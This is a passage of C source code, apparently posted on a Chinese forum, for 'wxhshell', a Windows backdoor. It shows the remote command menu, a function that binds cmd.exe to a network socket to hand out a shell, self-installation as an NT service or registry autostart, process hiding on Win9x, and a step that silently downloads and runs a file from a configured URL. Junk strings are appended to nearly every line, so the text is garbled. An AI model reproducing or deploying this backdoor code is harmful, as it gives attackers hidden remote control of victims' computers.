  } u3C0!{v  
  else { $J9/AFzO"  
PX >>h}%  
    switch(cmd[0]) { /RemLJP F  
  WXFC e@  
  // 帮助 #3}!Q0   
  case '?': { nj=nSD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v-&@c  
    break; siz:YRur  
  } Vo(>K34  
  // 安装 Z)!#+m83>-  
  case 'i': { ZmaGp* Wj  
    if(Install()) N[&(e d=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8d[!"lL  
    else TXbnK"XQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f{+X0Oj  
    break; f"Kl? IN8  
    } iJb-F*_y  
  // 卸载 <(_${zR  
  case 'r': { {nH*Wu*^  
    if(Uninstall()) R_gON*9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IeAUVR S)  
    else u& <NBxY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qF4=MQm\aE  
    break; PBb'`PV  
    } Rf TG 5E)  
  // 显示 wxhshell 所在路径 G5 *_  
  case 'p': { 5!qLJmd=  
    char svExeFile[MAX_PATH]; 1?{w~cF}  
    strcpy(svExeFile,"\n\r"); v-XB\|f  
      strcat(svExeFile,ExeFile); I&>5b7Uf  
        send(wsh,svExeFile,strlen(svExeFile),0); V"5LNtf  
    break; ESi-'R&  
    } $!K,5^+  
  // 重启 >=YQxm}GJ  
  case 'b': { X!K:V~WG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qk8YR5 K   
    if(Boot(REBOOT)) LsaRw-4.c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZmZ7E]c  
    else { ,8+Jt@L  
    closesocket(wsh); .83z =  
    ExitThread(0); l-M .C8N  
    } H;Gd  
    break; UB7C,:"  
    } k!{h]D0  
  // 关机 9` G}GU]@}  
  case 'd': { M4K>/-9X+V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  G`NGt_C  
    if(Boot(SHUTDOWN)) I ka V g L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {oRR]>  
    else { lQ|i Ws  
    closesocket(wsh); U}SN#[*  
    ExitThread(0); 4n/CS AT1  
    } yOE N*^6  
    break; I=|}%WO#  
    } /igbn  
  // 获取shell vR'rYDtU@  
  case 's': { A~#w gLGn  
    CmdShell(wsh); +Ec@qP R&  
    closesocket(wsh); 5<Y-?23  
    ExitThread(0); H)NT2@%{P  
    break; kXW$[R  
  } 7r$'2">K(  
  // 退出 )Qc>NF0  
  case 'x': { Q9sxI}D )R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UE K$  
    CloseIt(wsh); B2)SNhF2Y  
    break; ,{g B$8z^  
    } %$zX a%A  
  // 离开 \-RVPa8k  
  case 'q': { ' O d_:]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #<gD@Jybu  
    closesocket(wsh); sU;aA0kz  
    WSACleanup(); 7=pJ)4;ZA  
    exit(1); CO"Nv  
    break; xkmqf7w  
        } )r6d3-p1  
  } K6e_RzP,.w  
  } Ui05o7xg~p  
OM#eJ,MH<)  
  // 提示信息 >l(|c9OWM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W3Dtt-)E  
} Q5/BEUkC  
  } eC*-/$D  
.?;"iv+  
  return; "78BApjWT6  
} QHbjZJ N  
H@BU/{  
// shell模块句柄 m>LC2S; f  
int CmdShell(SOCKET sock) jt4c*0z  
{ rT28q .  
STARTUPINFO si; F;<cG `|Rx  
ZeroMemory(&si,sizeof(si)); <#No t1R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OjBg$f~0F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ip2BvN&  
PROCESS_INFORMATION ProcessInfo; kY]^~|i6  
char cmdline[]="cmd"; qn#f:xltu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G| .5.FK^  
  return 0; F}{uY(hv"[  
} aW7)}"j4  
H<bB@(i  
// 自身启动模式 ad'C&^o5  
int StartFromService(void) wU)vJsOq  
{ iBy &#^  
typedef struct m{ C  
{ Q:sw*7"F  
  DWORD ExitStatus; } 2P,Z6L  
  DWORD PebBaseAddress; ?s5hck hh  
  DWORD AffinityMask; iK <vr  
  DWORD BasePriority; <R @w0b>  
  ULONG UniqueProcessId; w} 1~  
  ULONG InheritedFromUniqueProcessId; sU 5/c|&  
}   PROCESS_BASIC_INFORMATION; Qlgii_?#@  
ds D!)$  
PROCNTQSIP NtQueryInformationProcess; o@blvW<v7  
GV(@(bI*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :;u?TFCRx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ELqpIXq#  
TEt+At`]  
  HANDLE             hProcess; 92)e/t iP  
  PROCESS_BASIC_INFORMATION pbi; xcA5  
#JIh-h@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @O Rk  
  if(NULL == hInst ) return 0; 6 s1lf!  
+ 4*jO5EZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'Z=8no`<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J'no{3Kt z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MH=;[| N  
5 Yf T  
  if (!NtQueryInformationProcess) return 0; z~y=(T  
tsvh/)V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L! DK2,  
  if(!hProcess) return 0; 8 s#2Zv  
;R8pVj!1f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |Xv]s61  
CBvvvgIo  
  CloseHandle(hProcess); XlGDv*d:#d  
oz[: T3oE>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x\MzMQ#Bf  
if(hProcess==NULL) return 0; 7C"&f *lEi  
smTPca)7s  
HMODULE hMod; >;}q  
char procName[255]; uF89B-t  
unsigned long cbNeeded; dZ"w2ho  
N|53|H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @K:TGo,%I  
C}>Pn{wY9  
  CloseHandle(hProcess); <1(j&U  
Q"2J2211  
if(strstr(procName,"services")) return 1; // 以服务启动 m/(f?M l  
Gl@}b\TB  
  return 0; // 注册表启动 >azTAX6L3  
} FT/STI  
M!j: 2dT"  
// 主模块 G&2`c\u{  
int StartWxhshell(LPSTR lpCmdLine) "ke>O'   
{ ) ir*\<6Y=  
  SOCKET wsl; 9p{7x[C  
BOOL val=TRUE; 6mAaFDI,R  
  int port=0; Q"+)xj  
  struct sockaddr_in door; 6Yu&'[?H$  
 wq@{85  
  if(wscfg.ws_autoins) Install(); `C+>PCO  
^;@Q3~DpP%  
port=atoi(lpCmdLine); VwKo)zH  
$>csm  
if(port<=0) port=wscfg.ws_port; V0ig#?]  
u{+z?N  
  WSADATA data; [zv@}@$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,6iXlch  
`1fNB1c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xh) h#p.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -m"9v%>Y  
  door.sin_family = AF_INET; 4u.Fy<+@4M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }Jr!a M'  
  door.sin_port = htons(port); rOyKugHe  
cU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7i@vj7K  
closesocket(wsl); 41Nm+$m  
return 1; BV@xE  
} de<T5/  
"1iLfQ  
  if(listen(wsl,2) == INVALID_SOCKET) { W8><  
closesocket(wsl); bnYd19>  
return 1; 9-( \\$%  
} ]XS[\qo  
  Wxhshell(wsl); n&N>$c,T27  
  WSACleanup(); Wn kIi,<  
d09qZj>  
return 0; 4/J"}S  
$ctpg9 7  
} 4!k 0  
|iLf;8_:  
// 以NT服务方式启动 l =Is-N`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~qu}<u)P  
{ ^|j @' @L  
DWORD   status = 0; ]r\d 5  
  DWORD   specificError = 0xfffffff;  Bl1^\[#  
31)eDs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N6thbH@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i~sW_f+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lV ra&5  
  serviceStatus.dwWin32ExitCode     = 0; 59X'-fg,  
  serviceStatus.dwServiceSpecificExitCode = 0; L2}p<?f  
  serviceStatus.dwCheckPoint       = 0; >9i%Yuy](  
  serviceStatus.dwWaitHint       = 0; *\"+/   
4ynGXJmMlR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1h,m  
  if (hServiceStatusHandle==0) return; `\Ye:$q  
O;C C(  
status = GetLastError(); H5X.CcI&}  
  if (status!=NO_ERROR) mVVL[z2+  
{ >uy(N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ca k-J~=  
    serviceStatus.dwCheckPoint       = 0; qtYVX:M@,  
    serviceStatus.dwWaitHint       = 0; ^"!)p2=  
    serviceStatus.dwWin32ExitCode     = status; ?j|i|WUD  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z.E@aml\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~;D5j) 9I  
    return; =Eb4Iyz  
  } r[W Ir|r7  
mh" 9V5T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M'>8P6O  
  serviceStatus.dwCheckPoint       = 0; P&.-c _  
  serviceStatus.dwWaitHint       = 0; wG}Rh,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zy&?.d[z  
} }Jm~b9j  
*)xjMTJ%  
// 处理NT服务事件,比如:启动、停止 )7;E,m<:tO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (>M? iB  
{ ("txj[v-/  
switch(fdwControl) KbM1b  
{ >^ TcO  
case SERVICE_CONTROL_STOP: `Ti?hQm/  
  serviceStatus.dwWin32ExitCode = 0; .X;D I<K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c#<p44>U  
  serviceStatus.dwCheckPoint   = 0; 6#up BF:  
  serviceStatus.dwWaitHint     = 0; l0nm>ps'D  
  { } 3JOC!;;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]aI   
  } Q1^kU0M}  
  return; kH">(f  
case SERVICE_CONTROL_PAUSE: 4ZCD@C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r9y(j z  
  break; AEE&{ _[S  
case SERVICE_CONTROL_CONTINUE: 7 DW_G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /M5R<rl  
  break; )m<CmYr2  
case SERVICE_CONTROL_INTERROGATE: vV*i)`IXe  
  break; [/GCy0jk  
}; X6G2$|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,ocAB;K  
} +Z1y1%a  
#H-EOXy  
// 标准应用程序主函数 I'e`?H t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E:ti]$$  
{ ePscSMx&  
v/[*Pze,C  
// 获取操作系统版本 yP0XA=,Y  
OsIsNt=GetOsVer(); 'j 'G4P_G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u`Abko<D  
O%*:fd,o-  
  // 从命令行安装 ZIs=%6""&  
  if(strpbrk(lpCmdLine,"iI")) Install(); /y[zOT6  
=cWg 39$(I  
  // 下载执行文件 6YF<GF{  
if(wscfg.ws_downexe) { (g3@3.Kk)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UoOxGo  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6~tj"34_  
} 4gh` >  
q"Th\? }%  
if(!OsIsNt) {  ?F/)<r  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?L+|b5RS  
HideProc(); bA02)?L  
StartWxhshell(lpCmdLine); tNC ;CP#R+  
} BNq6dz$J  
else qx";G  
  if(StartFromService()) OCv,EZ  
  // 以服务方式启动 [Y-3C47  
  StartServiceCtrlDispatcher(DispatchTable); DSL3+%KF#  
else (o518fmR  
  // 普通方式启动 1a_;(T  
  StartWxhshell(lpCmdLine); $ 9 k5a  
@j'GcN vs  
return 0; _WN\9<  
}
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只看该作者 1 发表于: 2006-10-10
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